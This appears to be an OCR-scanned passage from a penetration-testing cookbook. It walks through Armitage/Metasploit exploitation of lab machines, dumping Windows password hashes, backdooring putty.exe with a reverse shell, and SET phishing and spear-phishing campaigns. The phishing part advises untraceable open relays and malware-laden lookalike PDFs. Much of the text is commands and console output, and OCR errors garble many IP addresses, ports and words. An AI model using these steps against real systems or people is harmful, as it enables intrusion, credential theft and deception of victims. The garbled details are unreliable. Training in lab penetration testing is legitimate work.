] Nmap: Inmitiating NSE at 16:22
Nmap: Completed NSE at 16:22, 0.02s elapsed
*] Nmap: Initiating NSE at 16:22
Nmap: Completed NSE at 16:22, 6.081s elapsed
Nmap: Post-scan script results:
] Nmap: | clock-skew:
[*] Nmap: | 22méls:
*] Nmap: | 192.168.56. 104
Nmap: | 192.168.56.101
] Nmap: | 192,168.56,105
Nmap: Read data files from: /usr/bin/../share/nmap
Nmap: 0S and Service detection performed. Please report amy incorrect results at https://nmap.org/submit/ .
| Nmap: Nmap done: 256 IP addresses (7 hosts up) scanned in 175.77 seconds
Nmap: Raw packets sent: 14142 (633.864KB) | Rcvd: 12660 (524.268KB)
msf >

Armitage nmap scan results populated on screen
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Find attacks against a host

We will use armitage to find attacks against hosts:

1. At this point, let's work with our Metasploitable machine, which currently has an
IP address of 192.163.56.104. Click on it once to select it (this will be denoted with a
green dotted outline).

2. Ifyouright-click on the device, you will see a variety of options - select Services.
This will bring up a list of all listening ports and services for that host. Scroll
down a bit and take a look at all the information provided:

Armitage View Hosts Attacks Workspaces Help

» @ auxiliary
* [ exploit
> ; payload — | — | —
» @ post - L ry -

L/

. ", P Iy
' b
— —— ——— S

192.168.56.1 192.168.56.105 192.168.56,101 192.168.56.103 192.168.56

Console X | Services X I
host name port 4| proto info
192.16856.104  fp 21 tep ~ wshpd234
192.168.56.104 ssh 22 tcp OpenS5SH 4.7p1 Debian Bubuntul protocol 2.0 T
192.168.56.104 telnet 23 tep Linux telnetd
192.168.56.104 smtp 25 tep Postfix smtpd
192.168.56.104 domain 53 tcp ISCBIND 9.4.2
192.168.56.104 http 80 tep Apache httpd 2.2.8 (Ubuntu) DAV/2
192.168.56.104 rpcbind 111 tep 2 RPC #100000
192.168.56.104 netbios-ssn 139 tep Samba smbd 3.X - 4.X workgroup: WORKGROUP %
192.168.56.104 netbios-ssn 445 tep Samba smbd 3.0.20-Debian workgroup: WORKGROUP
192.168.56.104 exec 512 tep netkit-rsh rexecd
192.168.56.104 login 513 tep OpenBSD or Solaris rlogind
192.168.56.104 shell 514 tcp Netkit rshd
192.168.56.104 Java-rmi 1099 tcp Java RMI Registry I

Armitage host services screen

3. Let's find some possible attacks against the hosts. Click on Attacks | Find Attacks
from the top. This could take a minute or two for it to correlate the information.
When completed, you will receive an Attack Analysis Complete... dialog box.
Select OK to close it:
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Armitage View ﬂus[smmrkspaces Help

» | auxiliary
» | exploit
» (§ payload
» @ post

Find Attacks
Hall Mary
T o

- -

192,168.56.1 192.168.56.105 192.168.56.161 192.168.56,163 102.168.56, 104

Armitage find attacks menu

4. Now, if we right-click on our host, we will see a new menu item labeled attack.
Scroll through all the possible attack options you see there:
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Armitage View Hosts Attacks Workspaces Help

» | auxiliary
4 ie:piow q
» [l payload ' —
s *
a'" ..
o b | Loge
z ¥ ¥ . ) [y Services
102,060,561 102,168,56,105 102,160 e e IO
check exploits... oostres .' Host
realserver  p
samba b
smtp v
gsh b
telnet »
¥ne 4
X webapp 4
wyse b
4

. 1 x11

Armitage attack menu
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Exploit the host

We will now launch an exploit against a host:

1. Now that we have attacks that will potentially compromise a host, let's go ahead
and select one to run. Let's right-click on our Metasploitable machine, and select
Attack | irc |unreal ircd 3281 backdoor.

2. You will be presented with options that you may have to scroll through and change.
For instance, your LHOST should be the interface toward your target VMs. Make
any needed changes, and click on Launch:

Attack 192.168.56.104 e ® 0

UnreallRCD 3.2.8.1 Backdoor Command Execution

This module exploits a malicious backdoor that was added to the Unreal IRCD 3.2.8.1 8
download archive. This backdoor was present in the Unreal3.2.8.1.tar.gz archive between £
November 2009 and lune 12th 2010. L
| Option 4| Value [
LHOST 192.168.56.1

LPORT 3020

RHOST + 192.168.56.104

RPORT 6667

Targets: |0 => Automatic Target )

|_J Use a reverse connection

|_J Show advanced options

| Launch |

Armitage exploit launch dialog

Be patient, it may look like things have stalled or failed, but it will
8 continue.

3. You will now see that the Metasploitable device icon has changed to show it has
been owned:
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Armitage View Hosts Attacks Workspaces Help

-

& auxiary
* @ admin
» (i analyze
> .Ii bnat

» [ client

> i crawler
» [ docx

» [ dos 192.168.56.1 192.168.56.105 192.168.56.101 192.168.56.103 192.168.56.104
> ([ fuzzers
& gather
(@ parser
> [ pdf

@ scanner

v

v

i server
& sniffer

Console X | exploit x]

Exploit running as background job.
Started reverse TCP double handler on 192.168.56.102:3
192,.168.56.104:6667 - Connected to 192,168,56.104:6667...
tirc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
tirc.Metasploitable. LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
192. 56.184:6667 - Sending backdoor command...
Accepted the first client connection...
Accepted the second client connection...
Command: echo LLm9YdhTRBRgiuUw;
*] Writing to socket A
Writing to socket B
| Reading from sockets...
Reading from socket B
B: "LLmOYdhTRBRqiulw\r\n"
Matching...
A 1s input...
Command shell session 1 opened (192 1,10213020 -> 192,168.56,.104:51989) at 2017-07-13 17:27:49 -0460
msf exploit(

Armitage main screen with indicator of exploited device

4. So now that the device has been owned, let's run a couple of simple commands. By
right-clicking on the device, we will now see a new action called Shell 1; from
there, we will select Interact:
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Armitage View Hosts Attacks Workspaces Help

¥\ auxibary
+ (@ admin
v (@ analyze
¥ [ bnat
> | client
» i crawler . :
» |l docx Interact
» | dos 192,168, 192,168,56, 165 192,168.56,161 192.168.56. Upload...
» (§ fuzzers Pass Session
» i gather Post Modules

-

" | parser Disconnect
» i pdf

» \l scanner
» (§ server
v | sniffer

Armitage shell interact screen

5. You will now be presented with a new Shell 1 tab on the bottom with a $ prompt.
Let's see who we are on the box by entering the following command at the $

prompt:

| whoami

6. This should return the user you are currently authenticated as; in our case, we are
root:

| Console X l exploit X Ishell Jandl I

$ whoami
root
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Armitage shell whoami output

7. Just to validate how much damage we can do to this machine, let's enter the
following at the $ prompt:

cd /bin
touch youhavebeenowned
chmod 777 youhavebeenowned

8. Now, let's login to our Metasploitable VM login with msfadmin/msfadmin, and run the
following command:

| 1s -lai /bin/youhavebeenowned

9. You will see from the output that the file is there, it exists in the »in directory, and
has read, write, and execute for user, group and everyone:

nsfadnin@metasploitable:™5 ls -lai /bin/youhavebeenouned
16423 -ruxrwxrux 1 root root 0 2017-07-13 18:08 /binsyouhavebeenouned

nsfadnin@netasploitable:™§ _

Armitage command output

The Hail Mary Attack - There 1s an attack listed as the Hail Mary. In short
- Don't do it. It's noisy and will just throw everything after a target. It
might be useful in a lab situation if you have a sample VM you are looking
for exploits in, but for a live network or across the Internet, it will be seen
very easily and is typically just an indication of the lack of experience and
skill of the tester.
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Advanced attacks with Armitage

In this recipe, we will now perform an advanced attack with Armitage against a
Windows XP machine. We will perform several different functions such as initial
exploitation, VNC access, downloading, and viewing files.

www.hellodigi.ir


https://technet24.ir
https://technet24.ir

www.hellodigi.ir


https://technet24.ir
https://technet24.ir
https://technet24.ir

Getting started

Let's ensure the following prerequisites:

e Kali Linux is running, and you are logged in as root

e Make sure Armitage is running

e Make sure at a minimum the Windows XP VM is running - feel free to turn on other
target hosts as you wish
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How to do it...

From our Armitage screen, let's select the Windows XP VM for this section.
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Initial exploitation

We will perform an initial exploitation of our windows VM:

1. Right-click on the Windows XP VM, and select Attack | smb | msO8 067 netapi:

Armitage 00

Armitage View Hosts Attacks Workspaces Help

v [if auxiliary _:
’ |ﬂh admin ‘
» Lu analyze |
* |l bnat v/
> y client
» [l crawler
» (i docx _ ; Login L
» (§ dos 192,168.56,1  192,168.56.105 192, ]| eeaes RN 102.168.56.104
* | fuzzers —
; : qather Ipass_pipe_exec
v (§ parser | ms08_067_petapi
» (& ndf v ms10_061_spoolss
netidentity xtierrpcpipe
timbuktu_plughntcommand_bof
sv : pass the hash..

Armitage attack options

2. Make any modifications necessary including changing the LHOST if needed to the
[P address on the VM network. Once ready, click on Launch:
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Attack 192.168.56.101 o600
MS08-067 Microsoft Server Service Relative Path Stack Corruption

This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through
the Server Service. This module is capable of bypassing NX en some operating systems and &
service packs. The correct taroet must be used to prevent the Server Service (alona witha ¥

aw

Option 4 Value

LPORT 17257

RHOST + 192.168.56.101 I
RPORT 445 W
SMRPIPE BROWSEFR £
Targets: |0 => Automatic Targeting v

L Use a reverse connection

. Show advanced options

Launch

Armitage attack dialog box

3. You will now see that the Windows XP VM machine device's icon has been
changed to again identify that this machine has been owned.

]

Armitage 000

Armitage View Hosts Attacks Workspaces Help

'S aymhary ":
* [l admin
> [l analyze
» {§ bnat /
» ||y client
» |l crawler
» (i docx - 3 : k %
v [ dos 192,168.56.1 192,168.56.165  192,168.56.101  192,168.56.163  192,168.56.164
» @ fuzers NT AUTHORTTY\SYSI @ TEST-81243BC8(9
» (@ gather
» [ parser b
» (8 ndf

Armitage main screen with indication of exploited device
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Dump hashes

We will now perform a password hash dump of the windows VM:

1. Let's now dump the user hashes, so we can crack them later and use them as part of
other exploits. Start by right-clicking on the Windows XP VM, and you will see a
new option. Select Meterpreter 3 | Access | Dump Hashes | registry method; at the
next screen, select Launch.

2. You will now see the hashes dumped to the screen, and they will also be saved in
our loot store. Also, take a look through the output file; and you will see that
password hints were also dumped. Jane Doe's password hint 1s jane123 - Could that
be her password?

‘ Console X ] exploit X ‘ exploit X [Dump Hashes X | Persistence X Il

[*] Hashes will be saved in loot in JtR password file format to:

*] froot/.msf4/loot/20176713181855 default 192.168.56.101 windows.hashes 799797, txt
[*] Dumping password hashes. ..

[*] Running as SYSTEM extracting hashes from registry

] Obtaining the boot key...

I (alculating the hboot key using SYSKEY 6d58b77e826elld70af6f7e61f147fef., ..

| Obtaining the user list and keys...

l Decrypting user keys...
]
J
I

‘ Dumping password hints...

Jane Doe:"jane123"

Dumping password hashes...
Administrator:560:62c486d8363ab220aad3b435h51404ee:a8dachfic@ncd184c72¢66440%9ededfds: :;
HelpAssistant:1000:26961674ebe09e817661c095099f655f: 108493743c159aeb9ded5318475F61al s : :
SUPPORT 388945a0:1002: aad3b435h51404eeaad3ba35h51464ee: 71calBfea52e673249¢90b102622ce70: ¢ :
Jane Doe:1003:f5c8d3e784b5ch3caad3bq35b51404ee:4bd55b013c283ea5b8¢74507f6c5456d: : :

John Doe:16864:36c1f8aba76151a%ad3b435b51404ee:dabd3f201f3besbcddfedcedtd2b353::

+

armitage hashdump output

3. Ifyou close the dump hashes window, you can go back in and click on View | Loot;
and double-click on the host to see the hashes.
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Interacting with the Windows machine

We will now open a command shell to interact with the Windows VM directly:

1. Right-click on the Windows XP VM, and select Meterpreter 3 | Interact | Command
Shell.

2. Try running some Windows commands, and see what you get back:
dir
cd /
dir
3. Now, let's start VNC and see what we can do from the desktop. Right-click on the
Windows XP VM, and select Meterpreter 3 | Interact | Desktop (VNC). You will be

presented with a screen similar as follows. Note the port number for this VNC
session:

Message [ ]

o [*] Creating a VNC bind tcp stager: RHOST=127.0.0.1 LPORT=7968
@ [*] Running payload handler
[*] Host process notepad.exe has PID 124
[*] Allocated memory at address 0x003b0000, for 285 byte stager
[*] Writing the WVNC stager into memory...
[*] Starting the port forwarding from 7968 == TARGET: 7968
[*] Local TCP relay created: 127.0.0.1:7968 <-= 127.0.0.1:7968

Connect VNC viewer to 127.0.0.1:5913 (display 13)

If your connection is refused, you may need to migrate to a
new process to set up VNC.

(o]

Armitage VNC bind information box

4. Let's now click on our terminal icon from the left. .
5. Enter the following command from the shell:

| vncviewer 127.0.0.1::5913

6. You will now be brought to the Windows XP machine:
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TightVNC: test-01243bc8c9

Jane Doe

v
3

!

- 5 ' -_. John Doe

Windows

To begin, click your user name

®) Turn off computer

VNC view of Windows XP VM
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Browsing the target's files

We will now browse the file system of the Windows machine:

1. Right-click on the Windows XP VM, and select Meterpreter 3 | Explore | Browse

Files. You will be presented with a familiar file browsing interface:

\"Cunsole XWexpEoit X[exploit X}Dump Hashes )(W cmd.exe 1268@3 X | Files 3 X|

o
-

rFwrrrrereewew

@ | CAWINDOWSIsystem32

=
o
=
=]

CatRoot
CatRoot2
Com

NirnstY

| Size

Modified

2017-06-04 11:40:52 -0400
2017-06-04 11:40:26 -0400
2017-06-04 11:40:26 -0400
2017-06-04 11:40:26 -0400
2017-06-04 11:40:26 -0400
2017-06-04 11:40:26 -0400
2017-06-04 11:40:26 -0400
2017-06-04 11:40:26 -0400
2017-06-04 11:43:33 -0400
2017-06-04 15:51:31 -0400
2017-06-04 15:48:00 -0400

N7 AR NA 1C.40.91 NANN

 Upload... | | Make Directory | | List Drives | | Refresh |

Mode

40777/rwxrwxrwx
40777 frwxrwxrx
40777 rwxrwxrwx
40777 rwxrwxrx
40777 ruxrwrwy
40777 frwxrwxrwx
40777 /rwxrwxrax
40777 rwxrwxray
40777 /rwxrwxrwx
40777 /rwxrwxrwx
40777 rwxrexrux

ANT T T irarwmaivruiy

Armitage browse files screen

2. You will see that you can browse and change directories. You can create

directories and upload files; and if you right-click on a file, you will have other
options such as view and download. Download a couple of files, and then go to

View | Downloads to see them:
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192.168.56.101 my passwords.xt C:/Documents and Settings/j... 7b 20170713 18:44:59
192.168.56,101 myﬁnim,iil information.txt C:/Documents and Settings/a... 30b 2017-07-13 18:45:11

Armitage downloaded files screen
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There's more...

We will be covering topics such as cracking the user password in Chapter 6, Password
Cracking and persistence in Chapter 10, Maintaining Access. You may want to go do those
recipes now, as they are a continuation of where we are now.
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Using the backdoor factory and
Armitage

We will use the backdoor factory and Armitage in combination to compromise a target
system. The backdoor factory is a tool that can insert exploit code to a Windows
executable file. This is great when you are trying to exploit a user through them
downloading software, or even through physical attacks such as dropping USB keys.
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Getting ready

Let's ensure the following prerequisites:
e Kali Linux is running, and you are logged in as root

e Armitage 1S running
e Your Windows XP VM is running
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How to do it...

We will now use Backdoor Factory to insert exploit code into an executable:

1. First, let's browse and find a popular software package that a user might want to
download or may seem benign or enticing. In our case, let's go out and grab putty.
Every network admin has probably used putty at some point in the past. Open

Firefox and browse to www.putty.org. From this site, download putty.exe (32 bit
version); and save the file in your pown10ads directory.

You will have to scroll down a bit on the page to find the EXE file - do
8 not use the MSI file for this exercise.

2. Open terminal . and enter the following. We will first make an exploit
directory, and then copy the putty.exe file to that directory:

mkdir exploit

cd
cp ~/Downloads/putty.exe ~/exploit/

3. Next, let's take an initial run of backdoor factory and see what we have available
to 1nsert into putty.exe:

| backdoor-factory -f ~/exploit/putty.exe <enter>
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root@kali:~# backdoor-factory -f ~/exploit/putty.exe

4 . N I R, I S
| | N NS N WEHE N N N
| | NN | </ /[ /( <> <>) |\
| L N = _|_A X N A
L4 \/ \/ \/ \
N, oo & | e .
| D I N V4 NN N |
| L A < T [ [ - T
L A (. “H- S I VI 4 N /|
\/ \/ \/ N
Author: Joshua Pitts
Email: the.midnite.runr[-at ]gmail<d o-t=>com
Twitter: @midnite_runr
IRC: freenode.net #BDFactory
Version: 3.4.2

[#] In the backdoor module

[*] Checking if binary is supported

[*] Gathering file info

[*] Reading win32 entry instructions

The following WinIntelPE32s are available: (use -s)
cave_miner_inline
iat reverse tcp inline
iat_reverse_tcp inline_threaded
iat reverse tcp stager threaded
iat_user_supplied shellcode threaded
meterpreter_reverse https_threaded
reverse shell tcp inline
reverse_tcp stager_ threaded
user supplied shellcode threaded

root@kali:~# [J

Backdoor factory output screen for available shell code

4. Note the options that are available to use with this executable file. We will go
ahead and select reverse she1l tep inline, Use the IP of our Kali machine, and use a
port number by entering the following command. During the execution of the
command, you will be asked a question about where you can inject the code; let's
simply select 1:

| backdoor-factory -X -f ~/exploit/putty.exe -s reverse shell tcp inline -H 192.168.56.10
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[*] In the backdoor module

[#] Checking if binary is supported

[*] Gathering file info

[*] Reading win32 entry instructions

[*] Gathering file info

[*] Overwriting certificate table pointer

[*] Loading PE in pefile

[*] Parsing data directories

[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub

[*] Looking for caves that will fit the minimum shellcode length of 389
[*] All caves lengths: 389

The following caves can be used to inject code and possibly

continue execution.

**Don't like what you see? Use jump, single, append, or ignore.*#*

B L G e i i i i i i e i s

[*] cave 1 length as int: 389

[*] Available caves:

1. Section Name: .00cfg; Section Begin: 0x400 End: @x600; Cave begin: ©x407 End:
0x600; Cave Size: 505

2. Section Name: .xdata; Section Begin: ©xb@80@ End: 0xbl000; Cave begin: Oxboe®
f End: 0xboffc; Cave Size: 493

b S T R e

[!] Enter your selection: 1

['] Using selection: 1

[*] Changing flags for section: .@@cfg

[*] Patching initial entry instructions

[*] Creating win32 resume execution stub

[*] Looking for and setting selected shellcode

File putty.exe is in the 'backdoored' directory

root@kali:~# i

Backdoor factory successfully adding shell code to putty.exe file

Note that we used a -x for a command-line option for backdoor factory.
The -x option indicates that this file should be allowed to run on Windows
XP. Also don't give up if the first time you try building the exploit it fails.
If you have problems try other options and vectors. As software is updated
often your results may not work exactly as mine did. This is expected.

5. Now, we will see a new vackdoored directory in our szome directory that has putty.exe
with the exploit in it. Move that file to your Windows XP machine, but don't run it
yet.

6. Start Armitage and go to the main screen. From the dropdown directory on the left,
select exploit | multi | handler, and click on it:
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Armitage View Hosts gttack5|
" [ NTETUX

A
» (&5 freebsd
> [ hpux L :

» ﬁ‘ irix
* (&5 linux
» [ mainframe
¥ (& multi
* (E5 browser
» (B5 elasticsearch
» ([ fileformat
> (i fip
> [l gdb
> (i http
> ([ ids

-
* [ local X

Armitage handler menu

7. You will be brought to a dialog screen, so select the proper IP and port number that
corresponds to what we enter for the information before. In our case, it is the Kali
machine with an IP of 192.165.56.10; and we used a port of s123. Click on Launch:

multi/handler e ® &
Generic Payload Handler

This module is a stub that provides all of the features of the Metasploit payload
system to exploits that have been launched outside of the framework.

- =

Option 4 | Value
DisablePayloadHandler false

ExitOnSession false

LHOST 192.168.56.10
PAYLOAD + generic/shell_reverse_tcp

Targets: |0 => Wildcard Target .V}

[ | show advanced options

Launch

Armitage launch dialog screen

8. You will see the handler launch; note at the top that your Windows XP machine
appears normal:
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Applic v Pla

Armitage

¥ (& multi
» (B browser
* [ elasticsearch
* [ fileformat
> [ ftp
* (i gdb

> Hhttp 192.168.56.1085 192.168.56.1 192.168.56.161
> [ ids

> (& local

> l_._i misc

* (@ ntp

> [@ php

» [ postgres

» [ realserver
=% "

msf exploit/multi/

msf exploit( ) = set TARGET @

TARGET => @

msf exploit( ) = set PAYLOAD generic/shell_reverse_tcp
PAYLOAD generic/shell_reverse_tcp

msf exploit( ) > set LHOST 192.168.56.10

LHOST => 192.168 .10

msf explo ) > set LPORT 8123

LPORT =

msf exploit( ) > set ExitOnSession false
ExitOnSession => false
msf exploit( ) S isablePayloadHandler false
Disabl dHandle false
msf exp ) exploit -j
Exploit running as background job.
*] Started reverse TCP handler on 192.168.56.10:8123
1 Starting the payload handler...
exploit( ) >

Armitage output screen

9. Now, launch putty.exe on your Windows VM:
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Edit.  Miew Faworites  Tools  Help

Qi ©

address |3 c\Share

Search ‘Ti‘ Folders

2= puTTY Configuration

Cateqary:
File and Folder Tasks =~ Session | Basic optionz for vour PUTTY session |
Elm B Ar R e o T: ) Llnglgmg Specify the destination pou want to connect to
=I- Termina

a Mot . Kejboard Host Mame [or IP addreszs] Fort
22

Copy this File - Bel | | | |

: s - Features Connection pe:

Publish this file to the W : ;
@ - |s.- _IS_IE sl = “wfindc O Raw (O Telnet O Rlogin & 55H O Serial
@ E-mail this file L Appearance o = 7 :
¥ Delete this file  Behaviour oad, save or delete a stored session

- Translation Saved Sessions
- Selection | |
Other Places - Colours D ;
efault Setlings Load
= Connection w
e Local Disk () . Data
[a My Documents - Prowsy
i) Shared Documents - Telnet
i My Computer +Filogin
¥R &- 55H
W Py Metwork Places - Eerial = =
Cloze window on exit;

O dways O Mever () Only on clean exit

L Open J [ Cancel ]

L 1 IS i el -0

PuTT¥ Configuration

Windows XP running exploited putty.exe file

10. Note that your Windows XP Machine icon will now change to show that it has
been exploited; and you will also see that the session has opened from the console
output:
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Armitage (- IO <)

¥ (& multi A

» (B browser

» [ elasticsearch

» (B3 fileformat

» (& fip

> ([ gdb

» (& http

> (& ids

» (& local

L @ misc

* [ ntp

* (& php

| postgres

» (B realserver
V=N .

192.168.56.105 192.168.56.1 02.168.56.10: 192.168.56.104

v

Console X | multithandler x]

msf exploit( ) > set TARGET @

TARGET == 0

msf exploit( ) = set PAYLOAD generic/shell_reverse tcp
PAYLOAD => generic/shell_reverse_tcp

msf exploit( } = set LHOST 192.168.56.18

LHOST == 192.168.56.10

msf exploit( ) > set LPORT 8123

LPORT == 8123

msf exploit( ) > set ExitOnSession false

ExitOnSession == false

msf exploit( ) > set DisablePayloadHandler false
DisablePayloadHandler == false
st exploit( } = exploit -j

Exploit running as background job.
Started reverse TCP handler on 192.168.56.10:8123
Starting the payload handler...
Command shell session 1 opened (192.168.56.10:8123 -> 192.168.56.101:1832) at 2017-87-14 84:59:28 -8400
exploit( ) >

Armitage screen showing successful connection and exploited device icon

11. If youright-click on the Windows XP machine, you can select Shell
1 | Interact. You will then be dropped into a shell screen to do as you wish:

www.hellodigi.ir



https://technet24.ir
https://technet24.ir
https://technet24.ir

Applications v Places v [ armitage-ArmitageMain = Fri 05:02

Armitage 00

Armitage View Hosts Aftacks Workspaces Help

¥ [ multi L
=y
* [ browser
» (i elasticsearch —

l[ﬂ:'ﬁ:p ] ¥
» (§ gdb \

» (i fileformat .
¥
=

» (i http 192,168.56, 105 56, 0] Meterpreter... 192,168.56.104
* B ids | Post Modules

» [l local ¢ Host Disconnect

* [l misc

* [ ntp

> 1 pnp

* [ postgres
b | realserver

aw

Console X | multihandler X I-Shelll J('\|

Microsoft Windows XP [Version 5.1.2000] A
(C) Copyright 1985-2001 Microsoft Corp.

C:\Share>

Armitage showing command shell screen
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Social Engineering

In this chapter, we will cover the following topics:

Phishing attacks

Spear-phishing attacks

Credential harvesting with SET
Web jacking

PowerShell attack vector

QRCode attack vector

Infectious media generator
Obfuscating and manipulating URLs
DNS spoofing and ARP spoofing
DHCP spoofing
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Introduction

Social Engineering is a unique aspect of penetration testing. Social Engineering can be
employed through electronic means, as we will see in the upcoming recipes. However,
Social Engineering is also used in physical penetration testing and even data gathering.
It becomes an art about human nature and cultural norms. We bend well-known natural
tendencies to help us accomplish or obtain what we want.
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Phishing attacks

Phishing attacks are attacks that are loosely targeted at any individual or any entity.
Their main value 1s one of mass distribution, hoping to get a small percentage of hits
across a large distribution. These are sometimes used in penetration testing and
targeting-specific domains owned by the client. These attacks are targeted specifically
at emails. And due to their large distribution, the attacks are often caught quickly across
many advanced email spam filtering companies. But it takes only one to get through and
be clicked on.

In this recipe, we will create and launch a generic phishing attack.
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Getting ready

Let's ensure the following prerequisites:

e Kali Linux is running, and you are logged in as root
e You have some email accounts to use and/or preferably a lab SMTP server
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How to do it...

We will use the Social Engineering Tool (SET) to create a phishing attack:

1.

Nk

From the Applications menu, select Social Engineering Tools | SET Social
Engineering Toolkit. You will be presented with the following screen:

Select from the menu:

1) Social-Engineering Attacks

2) Penetration Testing (Fast-Track)
3) Third Party Modules

4) Update the Social-Engineer Toolkit
5) Update SET configuration

6) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

Initial set toolkit screen

Select the top option: 1) social-Engineering Attacks.

Select 5) mass Mailer attack.

Select 2) ©-Mail Attack Mass Mailer.

The system will now ask you to select a file that includes an email list in the format
of one email address per line. Enter the path and filename to use. In my case, [ have
a list prepared at /root/emailiist. ext!

The mass emailer will allow you to send emails to multiple
individuals in a list. The format is simple, it will email
based off of a line. So it should look like the following:

john.doe@ihazemail.com
jane.doe@ihazemail.com
wayne.doe@ihazemail. com

This will continue through until it reaches the end of the

file. You will need to specify where the file is, for example

if its in the SET folder, just specify filename.txt (or whatever
it is). If its somewhere on the filesystem, enter the full path,
for example /home/relik/ihazemails.txt

set:phishing> Path to the file to import into SET:/root/emaillist.txt

SET mass mailer dialog screen

Building a list of email addresses is important and this is where the work
done in Chapter 2, Reconnaissance and Scanning plays an important role. If
you did a good job there, you should have a list of email addresses

already or at the very least, you will have a good idea of how they format
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their usernames for emails. Often you can use resources like LinkedIn to
add to the list of email addresses as well.

6. Now, we will be asked how we want to use our email attack, either through a
Gmail account or own server/relay. For our purposes, I am going to use a throw-
away Gmail account; however, in practice, [ would typically use an open relay.

Select 1. use a gmail Account for your email attack.

way 1s to use an open-relay. There are plenty of them out there if you look

8 Never use a server or account that can be personally identifiable. The best
for them.

Enter your throw-away Gmail account: jonndoeeexampie.com and press Enter.

Enter a name to use as the sender that the user will see: sonn poe.

Enter the account password and press Enter.

Decide whether you want to send the message with high priority, and type ves or

no then press Enter.

11. Decide whether you want to attach a file. In my case, [ want to attach a file with a
malicious payload. So, I will type v and press Enter.

12. T will attach my /root/sa1ary.pas malicious payload.

AR e

You need to either attach a malicious payload or a malicious link for the
8 phishing attack to work. Figure out what makes most sense for your test
and go forward with it.

13. Enter an email subject. In my case, [ am going to call it sa1ary 1nso.
14. 1 have the option to send as HTML or plain text. I am going to choose the plain text
for simplicity. Next, [ will press Enter.

If you plan on embedding a malicious link, you must choose HTML. Most
users are accustomed to seeing HTML pages today that by sending as a
plain text may actually increase there suspicion that the email may be
farudulent. But for example purposes, it will work fine.

15. Now, enter the body of the message. I plan on keeping this very short and simple:

Hi Jane,
Here is the Salary Information you requested.

Thanks
John
END
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| Hi

16. It will then output the email addresses that the message was sent to.

and the attachment or link, so you have more chances of it being

0 It's very important to put time and energy into properly crafting the email
successful. Therefore, double check for spelling and grammar issues.
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Spear-phishing attacks

Spear-phishing attacks are specifically targeted at an individual or entity. Their main
value is that they are targeted at a small group of users. These are quite often used in
penetration testing, targeting specific email addresses of the client. You must spend
more time in researching the client by gathering information, such as email signatures,
logos, and understanding what the communications from the customer may look like.
Often, you may register a look-a-like domain that may seem familiar when they see the
from MESSAZE.

In this recipe, we will create and launch a targeted spear-phishing attack.
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Getting ready

Let's ensure the following prerequisites:

e Kali Linux is running, and you are logged in as root
e You have some email accounts and/or preferably a lab SMTP server
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How to do it...

We will now use set to create a spear-phishing attack:

1. From the Applications menu, select Social Engineering Tools | SET Social
Engineering Toolkit. You will be presented with the following screen:

Select from the menu:

1) Social-Engineering Attacks

2) Penetration Testing (Fast-Track)
3) Third Party Modules

4) Update the Social-Engineer Toolkit
5) Update SET configuration

6) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

Initial setookit screen

Select the top option: 1) social-Engineering attacks.

Select 1) spear-phishing Attack Vectors.

Select 1) perform a Mass Email Attack.

From here, we will have several optional attack vectors that we can use. Pick a
suitable one based on the email you will be sending, and what you believe the
customer has and uses for the software. For our testing purposes, we will use 13)

Al

Adobe PDF Embedded EXE Social Engineering.

6. So, this will embed the attack either in a provided PDF or a blank PDF. For our
test purposes, we will simply use 2) uvse built-in BLANK PDF for attack.

When penetration testing with spear-phishing, you may have some desired
outcomes in mind. However, it's important to remember that one of those
outcomes is to avoid raising suspicions. Because of this, the more the
email seems appropriate in its entirety, the better off you are. Say, if you

8 were doing this in a healthcare situation, you could download some
HIPAA regulations in a PDF format, insert the malware, and send it to the
appropriate people in the organization. When they open it, they will see
what they expect, therefore helping you to mask the fact that they were just
and not alerting them to an issue.

7. Next, you have several options for the return callback to you. Reverse shell or
reverse meterpreter are always good options. Select 1) windows reverse TcP shell.
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8. We will set the IP address of our Kali box. Use your appropriate IP address; in my
case, I will use 192.168.56.10.
9. Set the port to connect back on. For test purposes, I will use s123.
10. Select 2. rename the file, T want to ve cool. And rename the file to something
appropriate for the context of use.
11. For this, we will just select 1. e-mai1 attack single email address.

12. Select 1. pre-pefined Template.

In most cases, you will want to create your own template for this, but, as

we did that in the phishing attacks recipe, you can refer back for more

information. Also, most spam engines know the format of these built-in
templates, so the attacks will be thwarted with relative ease.

13. Pick an available template. 3: save you seen tnis? Will be fine for our example.

14. Enter the address to send the email to jonndoceexampie. con.

15. Inthis case. let's see if we can find an open relay to bounce it off. Do some
searching on Google, or you can try to use your ISP email server for this. Select 2.

Use your own server or open relay.

If you cannot find one, you can revert to a Gmail account and use the steps
8 as outlined in recipe 5.1.

16. Enter appropriate sender address: sanedoetexanpie. com.

17. Enter appropriate sender name: sane poe.

18. If yourequire a username for your relay server, you can enter the user information
as appropriate. I will leave mine blank.

19. If yourequire a password for your relay server, you can enter the password
information as appropriate. I will leave mine blank.

20. Enter the mail server address or Fully Qualified Domain Name (FQDN).

21. Enter the port number for the SMTP service of the relay. I will leave mine at 2s.

22. I'will select No to flag the message as high priority.

23. Lastly, does my server support TLS? For this, I will select No as well.

24. From here, you will automatically be given the option to set up a listener, and it
will autolaunch the mstconso1e and set the appropriate listener for you. Since I like
Armitage, I will open my listener through it.

Refer back to recipe in Chapter 4, Finding Exploits in the Target of Basic
“ exploit attacks with Armitage and Advanced attacks with Armitage on
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how to open listeners in Armitage.

25. T open the PDF from the email, and I will see a blank PDF. But notice that in my
Armitage console, it will now show a connection to the Windows XP machine.

[ downloaded and used an older version of Acrobat Reader on my
Windows XP machine.

[ hcrubat Reader - [hipaaregs.pdf]
EFHE Edit Document  Tools  Wiew  Window Help

mE |-

-G e -® 00

(RS ®- B> H|es | R

This page is intentionally blank.

Thurmbriails

W) M 4] 1oi1 M 85xi11in | O

s Start B Acrobak Reader - [hip.. . & % 'Y, :07PM

Windows XP machine with hipaaregs.pdf opened
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Armitage View Hosts Attacks Workspaces Help

* x ﬁ‘ multi
» [ browser
» (B elasticsearch
» (i fileformat
(5§ ftp
> (i gdb

-
'http 02,168.56.18 92.168.56.16 02.168.56.163 192.168.56.104
> [ ids
L4 [ﬂ‘ local
» [ misc
- ntp
* @ php
| postgres
* (& realserver

-

Console X | multithandler X]

mst exploit( > set TARGET ©

TARGET == @

msf exploit( > set PAYLOAD generic/shell _reverse tcp
PAYLOAD == generic _reverse_tcp

msf exploit( et LHOST 102.168.56.10

